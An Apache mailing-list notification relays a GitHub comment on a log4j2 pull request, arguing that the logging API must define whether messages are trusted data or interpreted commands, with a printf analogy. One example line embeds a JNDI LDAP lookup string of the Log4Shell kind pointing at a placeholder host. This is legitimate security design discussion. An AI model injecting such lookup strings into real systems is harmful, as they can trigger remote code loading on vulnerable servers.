mikkorantalainen commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039259530
> I am also inclined to avoid convoluting the API with implementation
details. Messages are safe, it is how the implementation deals with them which
makes them unsafe.
So, are you arguing that all features that interpret the message string and
modify it or create alternative message before logging should be removed?
Message can be safe if and only if it's always handled as data only.
Otherwise it's some kind of command and it should not include unfiltered data
as a whole or in part from any untrusted source (e.g. user input).
An API should define if the message is trusted or untrusted. This is no
different from `printf()` first parameter being trusted string and it must not
contain untrusted string as a whole or in part. In case of `printf()` the only
safe way to print untrusted string is `printf("%s",
untrusted_string_from_user)`. Specifically,
`printf(untrusted_string_from_user)` is always unsafe code. The Log4j2 API
fails to define clear rules for the expected API implementations, specifically
it should define if executing following code is safe or not:
debug("${progname} foo ${jndi:ldap://example.com/a} bar");
If the API spec is not broken, you should be able to tell if this usage is
safe code or not. The correct answer cannot be "it depends on the
implementation" because the user of the API (the above line of code) should be
promised something or the API is not worth using.
If the API definition says that the argument is message data only, the above
code is okay and the implementation that decided to connect to remote host was
buggy (not just incorrectly configured, it cannot fulfill this API by
definition). This API cannot opt for "implementation defined" here because
there's no safe way to emit any untrusted data to such an API and probably no
safe way to use it with any data at all, because the implementation might
trigger nuclear attack on any input and still be fully compatible with such an
"implementation defined" API spec.
And the API spec should say this explicitly or future programmers will make
all the same mistakes.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscr...@logging.apache.org
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
